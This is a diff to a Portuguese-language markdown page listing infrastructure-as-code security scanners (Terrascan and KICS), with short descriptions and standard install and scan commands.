+### [terrascan](https://github.com/tenable/terrascan)
+
+Terrascan é um analisador estático de código para Infrastructure as Code. Terrascan permite que você:
+
+- Escanear infrastructure as code para detectar misconfigurações de forma transparente.
+- Monitorar a infraestrutura provisionada em cloud para alterações de configuração que introduzam posture drift, e possibilitar reverter para uma postura segura.
+- Detectar vulnerabilidades de segurança e violações de conformidade.
+- Mitigar riscos antes de provisionar infraestrutura cloud native.
+- Oferece flexibilidade para executar localmente ou integrar com seu CI\CD.
+```bash
+brew install terrascan
+terrascan scan -d /path/to/folder
+```
 ### [KICKS](https://github.com/Checkmarx/kics)
 
-Encontre vulnerabilidades de segurança, problemas de conformidade e configurações incorretas de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com **KICS** da Checkmarx.
+Encontre vulnerabilidades de segurança, problemas de conformidade e misconfigurações de infraestrutura no início do ciclo de desenvolvimento da sua infraestrutura como código com **KICS** da Checkmarx.
 
-**KICS** significa **K**eeping **I**nfrastructure as **C**ode **S**ecure, é de código aberto e é indispensável para qualquer projeto nativo da nuvem.
+**KICS** stands for **K**eeping **I**nfrastructure as **C**ode **S**ecure, é open source e é indispensável para qualquer projeto cloud native.
 ```bash
 docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
 ```
 ### [Terrascan](https://github.com/tenable/terrascan)
 
-Do [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador de código estático para Infraestrutura como Código. Terrascan permite que você:
+De acordo com os [**docs**](https://github.com/tenable/terrascan): Terrascan é um analisador estático de código para infraestrutura como código. Terrascan permite que você:
 
-- Escaneie perfeitamente a infraestrutura como código em busca de configurações incorretas.
-- Monitore a infraestrutura em nuvem provisionada para mudanças de configuração que introduzem desvios de postura e permite reverter para uma postura segura.
-- Detecte vulnerabilidades de segurança e violações de conformidade.
-- Mitigue riscos antes de provisionar infraestrutura nativa em nuvem.
-- Oferece flexibilidade para rodar localmente ou integrar com seu CI\CD.
+- Escanear infraestrutura como código de forma transparente em busca de misconfigurações.
+- Monitorar a infraestrutura em nuvem provisionada por alterações de configuração que introduzam desvio de postura, e possibilitar reverter para uma postura segura.
+- Detectar vulnerabilidades de segurança e violações de conformidade.
+- Mitigar riscos antes do provisionamento de infraestrutura nativa na nuvem.
+- Oferecer flexibilidade para rodar localmente ou integrar com seu CI\CD.
 ```bash
 brew install terrascan
 ```